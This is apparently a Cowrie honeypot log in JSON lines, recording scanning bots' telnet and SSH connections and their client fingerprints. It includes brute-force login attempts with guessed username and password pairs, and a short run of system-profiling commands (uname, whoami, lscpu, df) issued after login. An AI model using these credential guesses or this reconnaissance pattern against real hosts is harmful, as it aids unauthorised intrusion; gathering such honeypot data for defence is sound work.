{"eventid":"cowrie.session.closed","duration":31.091867446899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:06.184378Z","src_ip":"94.46.12.68","session":"0d28bf9731b3","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:06.524721Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:06.528535Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:06.736685Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00105237960815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:06.829305Z","src_ip":"105.172.105.4","session":"09a83b58e32a","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.188922Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.192815Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.399872Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.676196813583374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.567895Z","src_ip":"94.46.12.68","session":"b0c43ab68232","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.858644Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.864033Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":43600,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e6147fe2563","protocol":"telnet","message":"New connection: 105.172.105.4:43600 (159.203.135.109:23) [session: 5e6147fe2563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:07.917598Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.077714Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.28501033782959,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.166198Z","src_ip":"94.46.12.68","session":"e3457787b05e","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.534816Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.539002Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00125885009766,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.571016Z","src_ip":"105.172.105.4","session":"631c4ddc0210","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.749139Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.0","message":"Connection lost after 18.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:08.755261Z","src_ip":"210.183.21.53","session":"b3b1c03e40a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":38678,"dst_ip":"10.17.0.5","dst_port":23,"session":"684e2d478856","protocol":"telnet","message":"New connection: 94.46.12.68:38678 (10.17.0.5:23) [session: 684e2d478856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:09.127719Z"}
{"eventid":"cowrie.session.closed","duration":120.00183534622192,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:09.202137Z","src_ip":"105.172.105.4","session":"6482438a4a31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466126918792725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:09.365518Z","src_ip":"94.46.12.68","session":"5da8dbbe57f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":43736,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b637b4d0104","protocol":"telnet","message":"New connection: 105.172.105.4:43736 (159.203.135.109:23) [session: 0b637b4d0104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:09.431939Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":43824,"dst_ip":"159.203.135.109","dst_port":23,"session":"fae039a9ab51","protocol":"telnet","message":"New connection: 105.172.105.4:43824 (159.203.135.109:23) [session: fae039a9ab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:10.370087Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":45468,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbc7342243fa","protocol":"ssh","message":"New connection: 72.79.42.117:45468 (159.203.135.109:22) [session: bbc7342243fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:16.114086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:16.119185Z","src_ip":"72.79.42.117","session":"bbc7342243fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:16.128432Z","src_ip":"72.79.42.117","session":"bbc7342243fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2012","message":"login attempt [root/admin2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:16.197316Z","src_ip":"72.79.42.117","session":"bbc7342243fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:17.208437Z","src_ip":"72.79.42.117","session":"bbc7342243fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4261314868927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:18.572395Z","src_ip":"94.46.12.68","session":"3964ce12a02d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":34680,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a47a9516e5f","protocol":"telnet","message":"New connection: 94.46.12.68:34680 (10.17.0.5:23) [session: 2a47a9516e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:20.201156Z"}
{"eventid":"cowrie.session.closed","duration":31.003432512283325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:21.211857Z","src_ip":"94.46.12.68","session":"a87bcbb073d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55558753013611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:27.168168Z","src_ip":"121.171.222.70","session":"3465ed9422f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.461579084396362,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:29.239166Z","src_ip":"94.46.12.68","session":"6dd1a693092b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.67.1","src_port":47742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e78a631aa0f3","protocol":"telnet","message":"New connection: 186.96.67.1:47742 (159.203.135.109:23) [session: e78a631aa0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:29.598921Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":46498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a36142681e6b","protocol":"ssh","message":"New connection: 115.190.179.68:46498 (159.203.135.109:22) [session: a36142681e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:36.991039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:36.996571Z","src_ip":"115.190.179.68","session":"a36142681e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:37.216773Z","src_ip":"115.190.179.68","session":"a36142681e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.962141036987305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:40.089735Z","src_ip":"94.46.12.68","session":"684e2d478856","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"test00","message":"login attempt [test/test00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:40.615879Z","src_ip":"115.190.179.68","session":"a36142681e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:41.838215Z","src_ip":"115.190.179.68","session":"a36142681e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.168373346328735,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:42.767162Z","src_ip":"186.96.67.1","session":"e78a631aa0f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55030,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e495cfb5d33","protocol":"telnet","message":"New connection: 94.46.12.68:55030 (10.17.0.5:23) [session: 9e495cfb5d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:43.957471Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57568,"dst_ip":"10.17.0.5","dst_port":23,"session":"90b6f2198765","protocol":"telnet","message":"New connection: 69.65.3.189:57568 (10.17.0.5:23) [session: 90b6f2198765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:45.047669Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":56064,"dst_ip":"10.17.0.5","dst_port":22,"session":"1925ccf4f027","protocol":"ssh","message":"New connection: 210.183.21.53:56064 (10.17.0.5:22) [session: 1925ccf4f027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:45.605537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:45.612606Z","src_ip":"210.183.21.53","session":"1925ccf4f027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:45.817383Z","src_ip":"210.183.21.53","session":"1925ccf4f027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":57746,"dst_ip":"10.17.0.5","dst_port":23,"session":"39422757a838","protocol":"telnet","message":"New connection: 69.65.3.189:57746 (10.17.0.5:23) [session: 39422757a838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:45.975140Z"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuserpass","message":"login attempt [ftpuser/ftpuserpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:46.655847Z","src_ip":"210.183.21.53","session":"1925ccf4f027","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"a44358f5a21c","protocol":"telnet","message":"New connection: 94.46.12.68:32784 (10.17.0.5:23) [session: a44358f5a21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:46.929927Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:47.860618Z","src_ip":"210.183.21.53","session":"1925ccf4f027","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.254055976867676,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:51.455106Z","src_ip":"94.46.12.68","session":"2a47a9516e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":53894,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcb118094ff1","protocol":"telnet","message":"New connection: 94.46.12.68:53894 (10.17.0.5:23) [session: dcb118094ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:02:56.884917Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":38134,"dst_ip":"10.17.0.5","dst_port":23,"session":"c475a5b11a34","protocol":"telnet","message":"New connection: 94.46.12.68:38134 (10.17.0.5:23) [session: c475a5b11a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:02.253613Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":49438,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d7e96a7f60f","protocol":"ssh","message":"New connection: 72.79.42.117:49438 (159.203.135.109:22) [session: 0d7e96a7f60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:04.487514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:04.496807Z","src_ip":"72.79.42.117","session":"0d7e96a7f60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:04.505019Z","src_ip":"72.79.42.117","session":"0d7e96a7f60f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu2023","message":"login attempt [ubuntu/Ubuntu2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:04.564993Z","src_ip":"72.79.42.117","session":"0d7e96a7f60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:05.573387Z","src_ip":"72.79.42.117","session":"0d7e96a7f60f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":46864,"dst_ip":"10.17.0.5","dst_port":23,"session":"4182d07f711b","protocol":"telnet","message":"New connection: 94.46.12.68:46864 (10.17.0.5:23) [session: 4182d07f711b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:06.059586Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":39720,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6d196a7e676","protocol":"ssh","message":"New connection: 115.190.179.68:39720 (159.203.135.109:22) [session: a6d196a7e676]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:03:11.918350Z"}
